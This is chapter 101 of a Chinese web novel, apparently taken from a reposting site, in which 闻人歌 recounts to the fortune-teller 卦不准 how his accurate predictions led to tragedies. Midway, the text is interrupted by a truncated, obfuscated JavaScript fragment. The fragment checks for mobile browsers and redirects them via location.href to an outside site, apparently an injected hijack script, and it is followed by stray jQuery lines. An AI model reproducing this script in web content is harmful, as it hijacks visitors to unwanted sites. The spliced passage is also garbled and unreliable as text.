101. 第六章

作品:《洒家战神,手撕命簿 [快穿]

    “何辜……?”闻人歌不闪不避,迎着卦不准的目光,半晌,忽然反问他一句:“知道烽火台有何作用么?”


    卦不准一愣,因这显而易见的问题,“传递敌情。”


    “不错。”闻人歌颌首,“一旦发现边境来犯,守备军将立刻点燃烽火台。一股烟代表小规模入侵,三股烟代表大军来犯。当相邻的烽火台接连被点燃,敌军来袭的消息不出片刻便能传遍边境。”接着她又问:“知道有烽火示警,可以让早做准备的将士们免去多少伤亡么?”


    这题就不是很显而易见了。


    卦不准长于山野,游走红尘,可从未靠近过军事重地,姑且一猜:“……很多?”


    “是很多。”闻人歌淡淡道:“斯以为,能改变结果,或者让结果不至于太坏的,才叫示警。”说着她突然就问:“还记得三年前,你给人免费算的卦吗?”


    “怎、怎么了?”


    卦不准顿时心生不妙。


    桌上的小火炉一直在烧,通红的炭火忽然炸了一下。


    闻人歌冷眼看着火星飞溅,开始讲古:


    “你说会把病人治死的那个大夫,后来他的医馆门可罗雀,关门大吉。入不敷出之际又逢老妻病重,他亲自采药,误将关木通当作川木通,医死了自己的老妻,最终在牢狱中自戕而亡。”


    卦不准嘴巴微张,因自己算卦之准。


    闻人歌又道:“还有家有河东狮的那个掌柜,后来真如你算出来的那般,迎进自己第七房外室,只是……你猜那外室是何许人?”


    卦不准不自觉咽了咽口水,“何许人?”


    闻人歌落下惊雷,“是那掌柜的亲生女儿。”


    “什么?!”卦不准骇然地站起身,连撞翻身后条凳都顾不上了,拍案而道:“这不可能!”


    闻人歌狠瞪了他一眼,随即转头看了眼床榻。只见云昭皱起小眉头,哼唧了两声,转身朝里。


    卦不准也注意到了,有些不好意思。


    小心翼翼扶好条凳,他重新坐好,小声跟闻人歌辩解道:“我当时可没起出这等卦象。”说着一顿,又问:“怎会如此?”


    “那掌柜能藏七房外室,焉知没有流落在外的女儿?”闻人歌道:“那掌柜娘子秘密寻到因人老珠黄被发卖的第一个外室,出钱买下她沦落风尘的女儿,转手再扮作卖身葬父的孤女,就跪在那掌柜每日回家必经的路上。”


    “别说了!”


    卦不准不敢再听下去。


    他的卦应验了,甚至只多不少。


    “更有那注定生不出孩子的屠户,”闻人歌就像个天生反骨,故意跟他唱反调,接着道:“一日酒醉,隔窗看见媳妇儿大了肚子,便疑心自己戴了绿帽,提起杀猪刀就破门而入,砍死了媳妇儿。转天酒醒,屠户看见石榴烂一地,和着他娘子干涸的血迹,才知算命人说的多子是这么个意思。”


    “不,不是……”卦不准哑口无言,“那卦象不是这么说的。”


    闻人歌冷冷瞥他一眼,置若罔闻,继续说:“之后,那屠户的家中确实多了一簇又一簇香火,因为家里供着他媳妇儿的牌位呢。”


    卦不准快疯了,抱着脑袋也挡不住师父的声音————自以为逆天改命,却不过多绕几个弯,再殊途同归。


    “原来命运不可更改是这个意思……是这个意思……”他红了眼眶,又悔又痛。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355163|191496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“乌鸦或许聪明,或许比所有人都更早知道灾祸要来,可那又如何?”闻人歌铁了心要卦不准认清楚,算命一途,一无是处。她道:“非是凡人欺它口不能言,是它本就不会说人话。呜哇呜哇瞎叫唤,除了难听就是吵。你说,它是替人挡了灾啊还是挡了害啊?”


    卦不准一时说不出话。


    闻人歌于是道:“我想,若是既不挡灾也不挡害,倒不如免开尊口,起码能让人一无所觉地,多清静会儿。”


    这句不只是针对卦不准,也刺向国师。当年若非他那句多嘴多舌的「年不过十七」,她就不会自小在可怜可惜的目光中长大。她的一身病也只是病,而不是命运多舛,命当如是。


    “不是这样的。”


    卦不准动摇过后,依旧坚信自己的道。


    “嗯?”


    闻人歌只当自己听岔了,都说了这么多,还不是这样的?


    “难道只有孔武有力的人才可以拔刀相助,而手无缚鸡之力的人,连路见不平都不被允许么?”


    卦不准振振有词,这下换闻人歌无言以对。


    ……


    不然呢?


    “乌鸦也知道自己声音难听,可它就是没办法眼睁睁看着灾祸到来,自己却独自飞走。”卦不准撕下厚脸皮,露出赤忱又执拗的一面,“哪怕只有一个人也好,哪怕只有那一个人知道要跟着乌鸦走,那么乌鸦至少是救下了一个人,不是么?”


    闻人歌深深看了他一眼,忽然开口:“所以,你死皮赖脸留在这客栈是为了救谁?那个圆脸的姑娘?还是客栈老板?抑或是,整个镇子?”


    卦不准蓦地睁大了眼,才知闻人歌另有一名,叫猜很准。